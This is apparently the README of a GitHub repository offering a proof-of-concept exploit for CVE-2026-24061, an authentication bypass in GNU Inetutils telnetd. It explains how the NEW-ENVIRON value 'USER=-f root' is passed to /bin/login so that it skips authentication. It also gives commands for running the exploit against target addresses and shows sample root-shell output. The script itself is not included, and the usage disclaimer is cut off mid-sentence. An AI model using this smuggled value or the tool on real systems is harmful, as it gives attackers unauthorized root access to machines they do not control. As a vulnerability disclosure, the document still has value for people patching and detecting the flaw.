mbanyamer/cve-2026-24061-gnu-inetutils-telnetd-remote-authentication-bypass-root-shell-Proof-of-concept exploit for GNU Inetutils telnetd authentication bypass (CVE-2026-24061) that spawns a root shell via crafted NEW-ENVIRON USER variable.
This repository contains a Proof‑of‑Concept exploit for GNU Inetutils telnetd remote authentication bypass vulnerability.
The issue arises because telnetd improperly sanitizes the USER environment variable received via Telnet NEW‑ENVIRON negotiation before invoking /bin/login.
By supplying:
USER=-f root
telnetd effectively executes:
/bin/login -f root
which bypasses authentication and spawns an immediate root shell.
Telnet NEW‑ENVIRON allows clients to set environment variables during session negotiation.
Vulnerable telnetd passes USER directly to login:
/bin/login -f "$USER"
An attacker sets:
USER=-f root
Result:
/bin/login -f root
The -f flag tells login to skip authentication, granting root access.
No external dependencies required.
python3 cve-2026-24061.py 192.168.1.100
python3 cve-2026-24061.py example.com 23
If vulnerable:
# id
uid=0(root) gid=0(root)
#
You now have an interactive root shell.
python3 cve-2026-24061.py 10.10.10.20
Output:
[+] Connected to 10.10.10.20:23
[+] Sent malicious USER=-f root via NEW-ENVIRON
[+] Negotiation complete - entering interactive shell
#
sequenceDiagram
participant A as Attacker
participant T as Target telnetd
participant L as /bin/login
participant R as Root Shell
A->>T: Connect TCP/23
A->>T: Telnet NEW-ENVIRON USER=-f root
T->>L: Execute /bin/login -f root
L-->>T: Auth bypass success
T-->>R: Spawn root shell
R-->>A: Interactive root session
This exploit is provided for:
Unauthorized use against systems you do not own or have permission to test is illegal.